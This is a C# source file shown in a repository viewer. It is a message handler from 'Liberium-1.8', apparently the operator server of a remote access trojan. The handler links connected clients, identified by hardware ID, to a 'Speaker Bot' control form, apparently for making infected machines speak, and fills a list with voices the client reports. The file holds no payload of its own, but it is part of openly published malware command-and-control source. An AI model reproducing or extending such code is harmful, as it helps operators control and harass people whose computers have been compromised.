Files
Liberium-1.8-Source-Code/Server.Messages/HandlerBotSpeaker.cs
T

59 lines
1.3 KiB
C#
Raw Normal View History

2026-08-27 11:21:58 -06:00
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerBotSpeaker
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "List"))
{
return;
}
if (client.Tag == null)
{
client.Disconnect();
return;
}
FormSpeakerBot form = (FormSpeakerBot)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.rjComboBox1.Items.Clear();
int num = 2;
while (num < objects.Length)
{
form.rjComboBox1.Items.Add((string)objects[num++]);
}
if (form.rjComboBox1.Items.Count > 0)
{
form.rjComboBox1.SelectedIndex = 0;
}
});
return;
}
FormSpeakerBot form2 = (FormSpeakerBot)Application.OpenForms["BotSpeaker:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Speaker Bot [" + (string)objects[2] + "]";
form2.client = client;
form2.richTextBox1.Enabled = true;
form2.rjComboBox1.Enabled = true;
form2.trackBar1.Enabled = true;
form2.trackBar2.Enabled = true;
form2.rjButton1.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}